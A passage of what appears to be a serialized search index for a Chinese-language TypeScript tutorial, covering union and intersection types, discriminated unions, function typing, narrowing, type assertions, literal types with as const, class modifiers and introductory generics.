= () => {}\n  return c\n} 这类写法在描述「函数上挂了些元信息」的库 API 时很常见。函数本身的类型还可以直接写成 type Fn = (a: number) => number，第六章细讲函数类型。",{"id":133459,"title":98869,"titles":133460,"content":133461,"level":341},"\u002Ftutorials\u002Fts#五联合类型交叉类型与可辨识联合",[96422],"联合和交叉是 TS 类型系统里最像「代数运算」的两个东西：联合是「或」，交叉是「且」。掌握它们，尤其是联合的收窄玩法，是从「会用 TS」到「用得好 TS」的分水岭。",{"id":133463,"title":108245,"titles":133464,"content":133465,"level":357},"\u002Ftutorials\u002Fts#联合类型-a-b值要么是-a-要么是-b",[96422,98869],"type ID = string | number\nfunction render(id: ID) {\n  id.toString()        \u002F\u002F ✓ string 和 number 都有 toString，取交集成员\n  id.length            \u002F\u002F ✗ number 上没有 length，联合里不能直接用某一分支独有的成员\n  id.toUpperCase()     \u002F\u002F ✗ 同理，未收窄前只能用「所有分支都保证」的成员\n} 联合类型在没收窄之前，只允许访问所有分支共有的成员（是各分支成员的交集）。要访问某一分支独有的，得先把它收窄成那个分支——第七章会系统讲收窄，这里先看联合的基本脾气。 给联合赋值时反过来：任何一支的值都能赋进去，id = 'a'、id = 1 都合法；但从联合取用时受限。这就是它的核心张力。",{"id":133467,"title":108247,"titles":133468,"content":133469,"level":357},"\u002Ftutorials\u002Fts#交叉类型-a-b同时满足两边",[96422,98869],"type HasName = { name: string }\ntype HasAge = { age: number }\ntype Person = HasName & HasAge     \u002F\u002F { name: string; age: number }\nconst p: Person = { name: '阿蓝', age: 18 } 交叉是把多个形状「叠加」成一个更具体的形状，字段全都要满足。接口之间用 extends、type 之间用 &，效果对对象而言基本一致。当两支有同名不同类型字段时会得到 never，这也是「类型层面的空集」的一个来源。",{"id":133471,"title":99093,"titles":133472,"content":133473,"level":357},"\u002Ftutorials\u002Fts#可辨识联合ts-里最好用的模式",[96422,98869],"如果联合的每一支都带一个字面量类型的「标签」字段，TS 就能凭这个标签把分支自动区分开——这叫 discriminated union，是整个 TS 里最被推崇的建模手法： type Shape =\n  | { kind: 'circle'; r: number }\n  | { kind: 'rect'; w: number; h: number }\n  | { kind: 'triangle'; base: number; height: number }\n\nfunction area(s: Shape): number {\n  switch (s.kind) {\n    case 'circle':   return Math.PI * s.r ** 2          \u002F\u002F 这支里 s 收窄成 circle\n    case 'rect':     return s.w * s.h                   \u002F\u002F 只能访问 w\u002Fh\n    case 'triangle': return (s.base * s.height) \u002F 2     \u002F\u002F 只能访问 base\u002Fheight\n  }\n} 关键在于 kind 是字面量类型（'circle' 而非 'string'）。在 switch (s.kind) 的每个 case 里，s 会自动收窄到对应那一支，于是 s.r、s.w 这些专属字段都变得类型安全，不需要任何断言。没有标签字段（kind: string）这一整套就全塌了——这就是第九章「把值当类型用」和第二章 const 窄化真正兑现价值的地方。",{"id":133475,"title":108250,"titles":133476,"content":133477,"level":357},"\u002Ftutorials\u002Fts#穷尽检查用-never-兜底",[96422,98869],"上面的 area 还差一步：万一以后给 Shape 加了 case 'polygon' 却忘了在 switch 里处理怎么办？用 never 兜底： function area(s: Shape): number {\n  switch (s.kind) {\n    case 'circle': return Math.PI * s.r ** 2\n    case 'rect': return s.w * s.h\n    case 'triangle': return (s.base * s.height) \u002F 2\n    default:\n      const _exhaustive: never = s   \u002F\u002F 若上面没覆盖全，s 还有剩余类型，赋给 never 就报错\n      return _exhaustive\n  }\n} 处理完全部分支后，default 里的 s 类型应当是 never（所有可能都被 case 吃掉了），赋给一个 never 变量正好成立。一旦你漏了某一支，s 就不是 never 而是那个没处理的具体分支类型，赋值报错——你等于给编译器留了个哨兵，专门盯着「未来加了新分支但你忘了改这里」。业务里凡是 switch 一个可辨识联合，都建议加上这条 never 兜底。",{"id":133479,"title":108252,"titles":133480,"content":133481,"level":341},"\u002Ftutorials\u002Fts#六函数类型参数可选剩余重载与-this",[96422],"函数是 TS 里类型信息最密集的地方，也是注解写得最多的一处。JS 教程第六章讲过 JS 函数的行为（默认值、剩余参数、闭包捕获），这里不重复那些运行时语义，只讲类型怎么描述它们，以及几个 TS 特有的点：重载签名、void 与 undefined 作为返回类型的差别。",{"id":133483,"title":99572,"titles":133484,"content":133485,"level":357},"\u002Ftutorials\u002Fts#可选参数与默认值",[96422,108252],"参数上加 ? 表示可省略，它的类型随即变成 T | undefined；给了默认值的参数自动是可选的，而且类型从默认值推断，通常不用再标： function greet(name: string, title?: string) {\n  \u002F\u002F title: string | undefined\n  return title ? `${title} ${name}` : name\n}\nfunction greet2(name: string, title = '先生') {   \u002F\u002F title 推断为 string，且可选\n  return `${title} ${name}`\n} 注意一个顺序规则：可选参数和带默认值的参数要排在必选参数后面，否则调用时没法靠位置区分。",{"id":133487,"title":64495,"titles":133488,"content":133489,"level":357},"\u002Ftutorials\u002Fts#剩余参数",[96422,108252],"剩余参数在类型上写成一个数组类型，泛型写法更常见： function sum(...nums: number[]): number {\n  return nums.reduce((a, b) => a + b, 0)\n}\nfunction join(sep: string, ...parts: string[]) { \u002F* parts: string[] *\u002F } 元组也能描述「固定前缀 + 可变后缀」的签名：(...args: [string, ...number[]]) => void。",{"id":133491,"title":99814,"titles":133492,"content":133493,"level":357},"\u002Ftutorials\u002Fts#函数类型表达式",[96422,108252],"函数本身可以当成一个类型来命名和传递，用 (参数: 类型) => 返回： type Comparator = (a: string, b: string) => number\nfunction sortBy(arr: string[], cmp: Comparator) { \u002F* ... *\u002F }\n\nconst byLen: Comparator = (a, b) => a.length - b.length   \u002F\u002F cmp 的类型已知，a\u002Fb 自动推断 把函数签名抽成 type 别名，是回调型 API（Array.prototype.map 的 callback、事件处理器）反复用到的写法，也让「传进去的函数长什么样」一目了然。",{"id":133495,"title":99950,"titles":133496,"content":133497,"level":357},"\u002Ftutorials\u002Fts#重载多个签名-一个实现",[96422,108252],"当一个函数「传不同类型进去、返回不同类型出来」，用重载。语法是先列多个对外签名，再写一个对内的实现签名： function pick(x: string): string\nfunction pick(x: number): number\nfunction pick(x: string | number): string | number {   \u002F\u002F 实现签名不对外暴露\n  return x\n}\npick('a')   \u002F\u002F 返回 string\npick(1)     \u002F\u002F 返回 number 要点：实现签名必须能兼容所有对外签名，且调用方只能看见对外的那几个签名，看不见实现签名。外部调用如果落不进任何对外签名，就报错。重载写起来啰嗦，现代 TS 里很多场景可以用「泛型 + 条件返回类型」（第十一、十四章）替代，更简洁也更不容易出错。",{"id":133499,"title":108259,"titles":133500,"content":133501,"level":357},"\u002Ftutorials\u002Fts#箭头函数与-this",[96422,108252],"箭头函数没有自己的 this，它捕获定义时外层的 this。这在类型上表现为：普通函数的 this 默认是 any（严格模式下需要 ThisType 或显式 this: T 参数），而箭头函数的 this 从上下文来，无需注解： const timer = {\n  seconds: 0,\n  start() {\n    setInterval(function () {\n      this.seconds++     \u002F\u002F ✗ 这里 this 是全局\u002Fwindow，不是 timer——经典坑\n    }, 1000)\n    setInterval(() => {\n      this.seconds++     \u002F\u002F ✓ 箭头函数捕获 timer 的 this，正确\n    }, 1000)\n  }\n} 普通函数若要显式约束 this，在参数表最前面加一个 this: T（它不是真参数，调用时不占位）。这是 TS 提供的一个「只给 this 打类型」的特殊语法。",{"id":133503,"title":108261,"titles":133504,"content":133505,"level":357},"\u002Ftutorials\u002Fts#void-与-undefined-作返回类型的差别",[96422,108252],"两者细微不同，但会咬人：void 表示「调用方不关心返回值」，TS 对返回 void 的函数很宽容——它可以返回任何东西，反正调用方承诺不读（比如 arr.forEach(() => x())，回调返回什么都行）。而 undefined 作返回类型则严格要求真的只返回 undefined。所以当你想表达「随便返回啥但我不看」时，用 void；想表达「它必须什么都不返回」时，才用 undefined。",{"id":133507,"title":100264,"titles":133508,"content":133509,"level":341},"\u002Ftutorials\u002Fts#七类型收窄编译器怎么一步步相信你的判断",[96422],"如果说这门课只能精读一章，就是这一章。收窄（narrowing）是 TS 类型系统的发动机：类型不会自己变精确，是你在代码里做的判断，让编译器在某个分支内把一个宽类型「收窄」成具体的窄类型。第五章的可辨识联合、第三章的 unknown 使用点，全都靠收窄落地。",{"id":133511,"title":100278,"titles":133512,"content":133513,"level":357},"\u002Ftutorials\u002Fts#什么是收窄一个直观例子",[96422,100264],"function len(x: string | number) {\n  \u002F\u002F 这里 x 是 string | number，length\u002FtoFixed 都不能直接用\n  if (typeof x === 'string') {\n    return x.length       \u002F\u002F ✓ 这个分支里 x 被收窄成 string\n  }\n  return x.toFixed(2)     \u002F\u002F ✓ 走到 else，x 收窄成 number\n} typeof 这个判断本身在 JS 里就有，TS 只是读懂了它的含义：在 === 'string' 为真的分支里，把 x 的类型从联合里剩下的分支收窄。收窄不改变运行时的值，只改变编译器在这一段里对它的看法。",{"id":133515,"title":108266,"titles":133516,"content":133517,"level":357},"\u002Ftutorials\u002Fts#typeof-收窄",[96422,100264],"支持的字面量：\"string\"、\"number\"、\"boolean\"、\"function\"、\"object\"、\"symbol\"、\"undefined\"，以及 \"bigint\"。注意 typeof null === 'object' 这条 JS 老 bug 也影响收窄——判对象为真还要再 x !== null。",{"id":133519,"title":108268,"titles":133520,"content":133521,"level":357},"\u002Ftutorials\u002Fts#in-收窄",[96422,100264],"用一个「只有某支才有」的属性名来区分，靠 in： type Fish = { swim: () => void }\ntype Bird = { fly: () => void }\nfunction move(a: Fish | Bird) {\n  if ('fly' in a) a.fly()    \u002F\u002F ✓ 'fly' in a 为真时 a 收窄成 Bird\n  else a.swim()\n} in 收窄的正是那种「没设计标签字段、但各支属性不同」的场合——不过更好的做法通常是回去把它改成可辨识联合。",{"id":133523,"title":108270,"titles":133524,"content":133525,"level":357},"\u002Ftutorials\u002Fts#instanceof-收窄",[96422,100264],"对 class 实例，用 instanceof 判断，收窄到对应类。因为 class 是运行时真实存在的，所以这条能用；而纯 interface\u002Ftype 运行时不存在，instanceof 帮不上忙（第七章的这条限制，正是第一章「类型擦除」的直接后果）。 function describe(e: Error | Date) {\n  if (e instanceof Error) return e.message   \u002F\u002F 收窄成 Error\n  return e.getTime()                          \u002F\u002F 收窄成 Date\n}",{"id":133527,"title":100637,"titles":133528,"content":133529,"level":357},"\u002Ftutorials\u002Fts#真值收窄与相等收窄",[96422,100264],"if (x)、x && ...、x === value、x !== value 这些都能收窄。真值收窄会把 0、''、null、undefined、NaN 这些假值从类型里剔除；相等收窄则配合字面量类型精确命中： function f(s?: string) {\n  if (s) {\n    s.toUpperCase()   \u002F\u002F ✓ 排除了 undefined 和空串（string 仍在）\n  }\n}\ntype Status = 'a' | 'b' | 'c'\nfunction g(x: Status) {\n  if (x === 'a') { \u002F* x: 'a' *\u002F }\n  else { \u002F* x: 'b' | 'c' *\u002F }   \u002F\u002F 排除 'a' 后剩两支\n} 真值收窄有个陷阱：0 和 '' 也会被一起剔掉，如果你本意只是「判空」，用 x !== undefined 更精确，别误用 if (x)。",{"id":133531,"title":108273,"titles":133532,"content":133533,"level":357},"\u002Ftutorials\u002Fts#类型谓词-x-is-t把你的判断经验交给编译器",[96422,100264],"标准判断不够用时，你写一个返回 boolean 的函数，但用 x is T 告诉编译器「返回真即说明 x 是 T」——这就是类型谓词（type predicate），用户自定义收窄的核心工具： function isString(x: unknown): x is string {\n  return typeof x === 'string'\n}\nfunction use(v: unknown) {\n  if (isString(v)) {\n    v.toUpperCase()   \u002F\u002F ✓ 因为 isString 声明了 x is string\n  }\n}\n\n\u002F\u002F 配合 filter 极其好用：过滤后的数组类型会自动窄化\nconst nums = ['a', 1, 'b', 2].filter(isString)   \u002F\u002F nums: string[] is 前面必须是函数参数本身（x is T），TS 只信任「对这个变量做的判断」。这个写法把「我确信它是这个类型」的经验，安全地注入编译器，而不必用 as 硬断言。",{"id":133535,"title":108275,"titles":133536,"content":133537,"level":357},"\u002Ftutorials\u002Fts#asserts-x-is-t断言函数",[96422,100264],"类型谓词的「加强版」——它不返回布尔，而是不满足就抛错，从而在调用点之后把变量收窄。适合做参数校验： function assertIsNumber(v: unknown): asserts v is number {\n  if (typeof v !== 'number') throw new Error('not a number')\n}\nfunction compute(v: unknown) {\n  assertIsNumber(v)\n  v.toFixed(2)   \u002F\u002F ✓ 调用之后，编译器认定 v 是 number\n} 断言函数对调用方是「隐形收窄」：它没有返回值可用，副作用是改变了后续代码里变量的类型。校验外部输入时特别顺手。",{"id":133539,"title":101115,"titles":133540,"content":133541,"level":357},"\u002Ftutorials\u002Fts#收窄不是运行时保护",[96422,100264],"最后再敲一次黑板：收窄只影响编译期看法。typeof x === 'string' 这个分支运行时确实会执行对应 JS，但那是 JS 的判断在起作用，不是类型系统。外部数据你没法靠类型「声明」它是 string——必须靠 typeof\u002Fin\u002F校验库在运行时真的验一遍（第十五、十七章）。收窄是「你在代码里做出判断，编译器据此更新它的看法」这个协作过程，两半缺一不可。",{"id":133543,"title":108278,"titles":133544,"content":133545,"level":341},"\u002Ftutorials\u002Fts#八断言as双重断言非空断言以及-satisfies-与-as-const",[96422],"断言是 TS 里最强大也最容易被滥用的一组工具。它的本质一句话：你对编译器说「相信我，这个值其实是某个类型」，编译器照办，且不再检查——出了错你自己担。本章把四种断言工具各自的分工讲清楚。",{"id":133547,"title":108281,"titles":133548,"content":133549,"level":357},"\u002Ftutorials\u002Fts#as-t普通断言",[96422,108278],"const el = document.getElementById('app') as HTMLElement\nconst input = el.querySelector('#name') as HTMLInputElement\nconst data = response.body as User as 用来在「编译器知道的类型」和「你知道的实际类型」之间搭桥，常见于 DOM 查询（querySelector 默认返回宽泛的 Element）、以及类型断言从 unknown 收窄。但 as 不做运行时转换，x as number 不会把字符串转成数字，它只是改编译器看法。 这里引用本课程反复强调的一句话，正好给断言下个定义：断言是你写给编译器的情书——你告诉它该怎么想，它全盘接受，不做任何核实。 情书写得越满，运行时被打脸越疼。所以能用收窄（is 谓词）解决的地方，就别用 as。",{"id":133551,"title":108283,"titles":133552,"content":133553,"level":357},"\u002Ftutorials\u002Fts#双重断言-as-unknown-as-t",[96422,108278],"直接从 A 断言到八竿子打不着的 B 会被拒（「两种类型重叠不足」），此时先绕到 unknown 再断言就通得了： const el = document as unknown as HTMLElement   \u002F\u002F 直断报错，借 unknown 中转\nconst v = someValue as unknown as TargetType 双重断言是「我最清楚，编译器你别拦」的终极表达，几乎放弃了所有安全检查。它合理的时候很少——比如把 DOM 元素硬当某个自定义类型、老库类型写错时——但每次用都该停下来想想：是不是该用校验代替。",{"id":133555,"title":108285,"titles":133556,"content":133557,"level":357},"\u002Ftutorials\u002Fts#非空断言",[96422,108278],"后缀 ! 告诉编译器「这个值这里一定不是 null\u002Fundefined」，把 T | undefined 收成 T： function f(s?: string) {\n  const len = s!.length    \u002F\u002F 你保证 s 一定有值；真给了 undefined 就运行时崩\n}\nconst el = document.getElementById('root')!    \u002F\u002F 断言这个 id 一定存在 ! 是「我检查过了，编译器别念叨」的速记。风险显而易见：如果你没真检查过，s!.length 就是 Cannot read properties of undefined。它是 strictNullChecks 下的止痛药，不该变成主食——能用可选链 ?.、能用收窄分支解决的，都别用 !。",{"id":133559,"title":108287,"titles":133560,"content":133561,"level":357},"\u002Ftutorials\u002Fts#as-const把字面量彻底钉死",[96422,108278],"as const 不是断言类型，而是断言「别再宽化了」：加在字面量后面，所有属性变 readonly，所有值收成最具体的字面量类型： const a = { dir: 'up' }         \u002F\u002F dir: string\nconst b = { dir: 'up' } as const \u002F\u002F dir: 'up'（且整个对象只读）\n\nconst dirs = ['up', 'down'] as const   \u002F\u002F readonly ['up', 'down']，可当联合 'up'|'down' 用 第九章会专门讲它解决「字面量宽化」的价值，这里先记住：as const 帮你把「值」冻成「类型」。",{"id":133563,"title":108289,"titles":133564,"content":133565,"level":357},"\u002Ftutorials\u002Fts#satisfies校验形状但不丢窄化",[96422,108278],"TS 4.9 新增的 satisfies 解决一个 as 解决不好的两难。你想让一个值符合某类型、又不想因此丢掉它精确的字面量推断： type Route = string | (() => string)\nconst routes = {\n  home: '\u002F',\n  about: () => '\u002Fabout',\n} satisfies Record\u003Cstring, Route>   \u002F\u002F 校验：值必须是 Route\n\nroutes.home     \u002F\u002F 类型是 '\u002F'（字面量保住），而不是被 route 的注解宽化\nroutes.about()  \u002F\u002F 能调用，且知道存在 对比 const routes: Record\u003Cstring, Route> = {...}——那样 routes.home 会变成宽泛的 string | (() => string)，丢掉「它其实就是 '\u002F'」的信息。satisfies 的分工就是：做「类型检查」但保留「更精确的推断结果」，还能在使用点发现多余\u002F缺失属性。三者记住一句话——as 改编译器看法、as const 钉死字面量、satisfies 校验又不丢精度。",{"id":133567,"title":108291,"titles":133568,"content":133569,"level":341},"\u002Ftutorials\u002Fts#九字面量类型与-as-const把值当类型用",[96422],"这一章解释一件很多人后知后觉的事：在 TS 里，一个具体的值本身就是一种类型。'up' 不只是字符串的一个实例，它还是一个「只可能是 up 这个字符串」的类型。理解这点，第五、七章的字面量窄化、switch 穷尽才真正说得通。",{"id":133571,"title":101736,"titles":133572,"content":133573,"level":357},"\u002Ftutorials\u002Fts#字面量类型家族",[96422,108291],"字符串、数字、布尔、null、undefined 都能各自成为「只包含这一个值」的字面量类型： let a: 'hello' = 'hello'     \u002F\u002F 只能是 hello\nlet n: 42 = 42               \u002F\u002F 只能是 42\nlet t: true = true           \u002F\u002F 只能是 true（注意不是 boolean） 它们的价值全在联合里：把一堆允许值并成一个联合类型，等于给参数列了白名单： type Dir = 'up' | 'down' | 'left' | 'right'\nfunction move(d: Dir) { \u002F* 只认这四个 *\u002F }\nmove('up')     \u002F\u002F ✓\nmove('diagonal')   \u002F\u002F ✗ 不在白名单里，直接报错 这比用 string 宽泛接参、运行时再 if 判断安全太多——白名单错误在写的时候就暴露了。",{"id":133575,"title":101903,"titles":133576,"content":133577,"level":357},"\u002Ftutorials\u002Fts#字面量宽化问题",[96422,108291],"TS 默认会把字面量「往宽里推」：let x = 'up' 里的 x 被推断成 string 而不是 'up'，因为 let 意味着以后可能改成别的字符串。这个「从具体值放宽到所属基本类型」就叫宽化（widening）。多数时候它合理，但当你想要那个具体类型时就成了障碍。 三条把类型「钉在字面量」的手段：显式注解 const d: Dir = 'up'；const 声明（第二章讲过的窄化）；as const。",{"id":133579,"title":108296,"titles":133580,"content":133581,"level":357},"\u002Ftutorials\u002Fts#as-const-的三种落点",[96422,108291],"const s = 'hi' as const          \u002F\u002F 'hi'\nconst arr = [1, 2, 3] as const   \u002F\u002F readonly [1, 2, 3]（元组 + 只读）\nconst obj = { x: 1, y: 'a' } as const  \u002F\u002F { readonly x: 1; readonly y: 'a' } 对象用了 as const，所有属性都变 readonly 且值收成字面量；数组变成只读元组。它常和 satisfies、可辨识联合、枚举替代方案搭配——第五章那个「联合字面量替代 enum」的写法就靠 as const。",{"id":133583,"title":108298,"titles":133584,"content":133585,"level":357},"\u002Ftutorials\u002Fts#把值当类型用typeof-类型查询",[96422,108291],"typeof x 出现在类型位置时，是「取 x 的类型」，配合索引访问能从一组常量里提炼出联合类型： const CONFIG = { api: '\u002Fv1', retry: 3 } as const\ntype ConfigKey = keyof typeof CONFIG          \u002F\u002F 'api' | 'retry'\ntype RetryVal = (typeof CONFIG)['retry']      \u002F\u002F 3 这是「值」和「类型」两个世界之间的一扇后门：常量对象一处维护，它的键、它的值类型都能反查出来，不用手写两遍。",{"id":133587,"title":108300,"titles":133588,"content":133589,"level":357},"\u002Ftutorials\u002Fts#const-类型参数简提",[96422,108291],"TS 5.0 引入 \u003Cconst T>，让泛型函数在接收实参时自动对它做 as const 式窄化，免去调用方手打： function keep\u003Cconst T>(x: T): T { return x }\nkeep({ a: 1 })   \u002F\u002F 推断为 { readonly a: 1 }，而不是 { a: number } 日常用得不多，知道它存在、能理解库作者为什么有时用它即可，不深入。",{"id":133591,"title":102217,"titles":133592,"content":133593,"level":341},"\u002Ftutorials\u002Fts#十类修饰符参数属性抽象与真正的私有",[96422],"JS 教程第十一章讲过 class 的运行时行为（extends、super、方法、静态成员）。这一章只看 TS 在类上加了哪些类型层面的东西：可见性修饰符、参数属性、implements、抽象类，以及「类型的类」和「实例的类」这一组容易混的概念。",{"id":133595,"title":108304,"titles":133596,"content":133597,"level":357},"\u002Ftutorials\u002Fts#public-private-protected",[96422,102217],"TS 给成员加了三种可见性，只在编译期生效——擦除后 JS 里根本没有私有： class Account {\n  public owner: string      \u002F\u002F public 可省略，默认就是\n  private balance: number   \u002F\u002F 只能在类内部访问\n  protected level: number   \u002F\u002F 类内部 + 子类可访问\n\n  constructor(owner: string) {\n    this.owner = owner\n    this.balance = 0\n    this.level = 1\n  }\n  deposit(n: number) { this.balance += n }\n  getBalance() { return this.balance }\n}\nnew Account('a').balance   \u002F\u002F ✗ 报错：private 不能外部访问 要认清：private 挡的是编译器，不是铁了心的运行时攻击——account['balance'] 用字符串索引能绕开（TS 层面也会红，但值确实读得到）。它是「契约」不是「保险箱」。真要运行时私有见下面的 #。",{"id":133599,"title":102447,"titles":133600,"content":133601,"level":357},"\u002Ftutorials\u002Fts#参数属性构造函数的样板消除",[96422,102217],"在 constructor 参数前面直接加修饰符和 readonly，TS 会自动帮你声明字段并赋值： class Point {\n  constructor(\n    public readonly x: number,\n    public readonly y: number\n  ) {}          \u002F\u002F 不用手写 this.x = x 了\n} 这一条能把「声明字段 + 构造函数赋值」的重复代码砍掉大半，日常写数据类时高频使用。注意它是 TS 独有语法，擦除后仍会还原成 this.x = x 的普通赋值。",{"id":133603,"title":108307,"titles":133604,"content":133605,"level":357},"\u002Ftutorials\u002Fts#static-与抽象类",[96422,102217],"static 是 JS 就有的（挂在类本身而非实例），TS 只是给静态成员也加上类型注解。abstract 是纯 TS 的：抽象类不能直接 new，它的抽象方法没有实现、必须由子类补全，是「强制子类实现某些方法」的手段： abstract class Shape {\n  abstract area(): number         \u002F\u002F 只声明不实现\n  describe() { return `area=${this.area()}` }   \u002F\u002F 可以有普通实现\n}\nclass Square extends Shape {\n  constructor(private side: number) { super() }\n  area() { return this.side ** 2 }   \u002F\u002F 必须实现，否则报错\n}\nnew Shape()   \u002F\u002F ✗ 抽象类不能实例化",{"id":133607,"title":108309,"titles":133608,"content":133609,"level":357},"\u002Ftutorials\u002Fts#implements声明我满足某个契约",[96422,102217],"implements 让类显式承诺它符合某个接口。它只检查「类有没有接口的成员」，不改变类型本身： interface Drivable { steer(angle: number): void }\nclass Car implements Drivable {\n  steer(angle: number) { \u002F* ... *\u002F }   \u002F\u002F 漏了 steer 就编译报错\n} 一个常见误解：implements 不是运行时校验，也不像 Java 那样参与多态判定——它只是编译期的一张检查清单。忘了实现某方法时报错，仅此而已。",{"id":133611,"title":108311,"titles":133612,"content":133613,"level":357},"\u002Ftutorials\u002Fts#真正的私有-字段",[96422,102217],"ES 标准的私有字段 #name 才是运行时真正私有的，外部任何方式都摸不到： class Vault {\n  #secret = 'abc'              \u002F\u002F 运行时私有，编译后是真私有\n  private hint = 'x'           \u002F\u002F 仅编译期私有\n  reveal() { return this.#secret }\n}\nnew Vault().#secret            \u002F\u002F ✗ 语法直接报错\n(new Vault() as any).secret    \u002F\u002F 也拿不到，运行时确实没有这个公开属性 # 与 private 别混用概念：private 是 TS 的类型层约束（会被擦除），# 是 JS 的运行层约束（会保留）。老打包目标不支持 # 时 TS 会把它降级成 WeakMap。",{"id":133615,"title":108313,"titles":133616,"content":133617,"level":357},"\u002Ftutorials\u002Fts#访问器-get-set",[96422,102217],"访问器和 JS 一样，TS 只是给读写分别加类型： class Temp {\n  #c = 0\n  get celsius() { return this.#c }\n  set celsius(v: number) { this.#c = v }\n} 只写 get 不写 set 会读得到、写不进（严格模式下赋值报错），等价于一个「计算得出的只读属性」。",{"id":133619,"title":102980,"titles":133620,"content":133621,"level":357},"\u002Ftutorials\u002Fts#类的类型-vs-实例的类型",[96422,102217],"一个 class 名字在 TS 里同时是两个类型：作为「实例的形状」和作为「构造器本身」。区分它们是理解 new 和泛型约束的关键： class User { name = '' }\nlet u: User = new User()          \u002F\u002F User = 实例类型\nlet C: typeof User = User         \u002F\u002F typeof User = 构造器类型（能 new 的那个）\nlet C2: new () => User = User     \u002F\u002F 也可以直接写构造签名 User 指实例的形状，typeof User 指「这个类本身」。写「接收一个类、内部 new 它」的泛型函数时（第十一章），这个区别会立刻用上。",{"id":133623,"title":108316,"titles":133624,"content":133625,"level":341},"\u002Ftutorials\u002Fts#十一泛型入门为什么需要泛型而不是-any",[96422],"泛型是 TS 的灵魂。这一章先建立直觉：泛型是「类型的参数」——函数接收值作为参数，泛型函数额外接收「类型」作为参数，让返回类型能跟着输入类型的形状变化。先看不用泛型、用 any 的失败，再看泛型怎么救场。",{"id":133627,"title":108319,"titles":133628,"content":133629,"level":357},"\u002Ftutorials\u002Fts#同一个例子先写成-any再写成泛型",[96422,108316],"需求：写一个函数，返回数组的第一个元素。用 any： function firstAny(arr: any[]): any {\n  return arr[0]\n}\nconst x = firstAny([1, 2, 3])   \u002F\u002F x: any —— 丢了元素类型！\nx.toFixed(2)                     \u002F\u002F 不报错，但可能运行时崩\nfirstAny(['a']).toUpperCase()    \u002F\u002F 也不能安全地知道是 string any 版本致命缺陷：进去的时候你知道是 number[]，出来的时候啥都不知道了——信息在 any 处漏光了。现在用泛型： function first\u003CT>(arr: T[]): T {\n  return arr[0]\n}\nconst a = first([1, 2, 3])   \u002F\u002F T 被推断成 number，a: number\nconst b = first(['x', 'y'])  \u002F\u002F T 推断成 string，b: string\na.toFixed(2)                  \u002F\u002F ✓ 知道是 number\nb.toUpperCase()               \u002F\u002F ✓ 知道是 string \u003CT> 是一个「类型变量」：调用时 TS 看实参 number[]，把 T 填成 number，于是返回值也就是 number。类型进了函数又活着出来了——这就是泛型相对 any 的全部价值：既复用代码，又不牺牲信息。",{"id":133631,"title":108321,"titles":133632,"content":133633,"level":357},"\u002Ftutorials\u002Fts#泛型约束-extends给类型变量划范围",[96422,108316],"\u003CT> 天真的地方是「T 上什么成员都不能访问」（因为编译器不知道 T 长啥样）。想访问某成员，就得用 extends 约束它至少具备什么： function longest\u003CT extends { length: number }>(a: T, b: T): T {\n  return a.length >= b.length ? a : b    \u002F\u002F ✓ 约束保证 a\u002Fb 一定有 length\n}\nlongest('abc', 'a')        \u002F\u002F string 有 length，通过\nlongest([1, 2], [])        \u002F\u002F 数组也有 length，通过\nlongest(1, 2)              \u002F\u002F ✗ number 没有 length，被约束挡住 T extends U 读作「T 至少是 U 的形状」。约束既让函数内部能安全访问成员，又在调用点挡住了不合规格的实参——这是泛型「有边界」的两面。",{"id":133635,"title":103553,"titles":133636,"content":133637,"level":357},"\u002Ftutorials\u002Fts#默认类型参数",[96422,108316],"\u003CT = 某类型> 给类型变量一个默认，调用时不显式传就用默认： function box\u003CT = string>(v: T): { value: T } { return { value: v } }\nbox('a')       \u002F\u002F T = string\nbox(42)        \u002F\u002F T = number（实参优先于默认）\nbox\u003Cstring>(42)   \u002F\u002F 显式指定 T = string，此时 42 反而报错 默认类型参数常用于「给个合理缺省、但允许覆盖」的通用容器和工具函数。",{"id":133639,"title":103658,"titles":133640,"content":133641,"level":357},"\u002Ftutorials\u002Fts#什么时候用泛型什么时候别",[96422,108316],"经验法则：当「输入类型」和「输出类型」之间存在形状依赖时，用泛型。像 first、map、identity、Record\u003CK,V> 这种「你给啥类型、我按同样形状返回」的，泛型最合适。如果函数的返回类型和入参类型毫无关系，或者你只想要「多种固定情况之一」，用联合类型（第五章）而不是泛型——别为了看起来高级而把简单联合写成复杂泛型，可读性会付代价。",{"id":133643,"title":108325,"titles":133644,"content":133645,"level":341},"\u002Ftutorials\u002Fts#十二泛型进阶接口类keyof索引访问与映射类型入门",[96422],"泛型不只活在函数上。这一章把泛型铺到接口、类型别名、类上，并介绍三件「类型的运算」工具：keyof、索引访问 T[K]、以及映射类型的雏形——它们是下一章工具类型的地基。",{"id":133647,"title":103697,"titles":133648,"content":133649,"level":357},"\u002Ftutorials\u002Fts#泛型接口与泛型类型别名",[96422,108325],"把类型变量放进接口\u002F别名的尖括号，就得到「可参数化的形状」： interface Box\u003CT> { value: T }\ninterface Pair\u003CA, B> { first: A; second: B }\n\nlet b: Box\u003Cnumber> = { value: 1 }\nlet p: Pair\u003Cstring, boolean> = { first: 'a', second: true }\n\ntype Result\u003CT> = { ok: true; data: T } | { ok: false; error: string }\nfunction unwrap\u003CT>(r: Result\u003CT>): T | undefined {\n  return r.ok ? r.data : undefined\n} 泛型接口是 API 建模的主力：Result\u003CT>、Promise\u003CT>、Array\u003CT>、React 的 Props\u003CT> 全是它。",{"id":133651,"title":103957,"titles":133652,"content":133653,"level":357},"\u002Ftutorials\u002Fts#泛型类",[96422,108325],"类同样能带类型参数，实例化时确定： class Stack\u003CT> {\n  private items: T[] = []\n  push(v: T) { this.items.push(v) }\n  pop(): T | undefined { return this.items.pop() }\n}\nconst s = new Stack\u003Cnumber>()   \u002F\u002F 只能 push number 上一节 typeof User 那对概念在这里闭环：写一个「接收某个类的实例并返回同类」的泛型方法时，靠 new () => T 这样的构造签名约束，TS 才知道你能 new 它、且 new 出来的就是 T。",{"id":133655,"title":108330,"titles":133656,"content":133657,"level":357},"\u002Ftutorials\u002Fts#keyof取一个类型所有键的联合",[96422,108325],"keyof T 返回 T 全部属性名组成的字符串\u002F数字联合： interface User { name: string; age: number }\ntype K = keyof User        \u002F\u002F 'name' | 'age'\n\nfunction get\u003CT, K extends keyof T>(obj: T, key: K): T[K] {\n  return obj[key]\n}\nget({ name: 'a', age: 1 }, 'name')   \u002F\u002F ✓ 返回类型是 string\nget({ name: 'a' }, 'nope')           \u002F\u002F ✗ 'nope' 不在 keyof 里 keyof + extends keyof T 约束，让「按名字安全取属性」成为可能——key 只能是真实存在的键名，返回类型还能精确到那个键的值类型。",{"id":133659,"title":108332,"titles":133660,"content":133661,"level":357},"\u002Ftutorials\u002Fts#索引访问类型-tk",[96422,108325],"T[K] 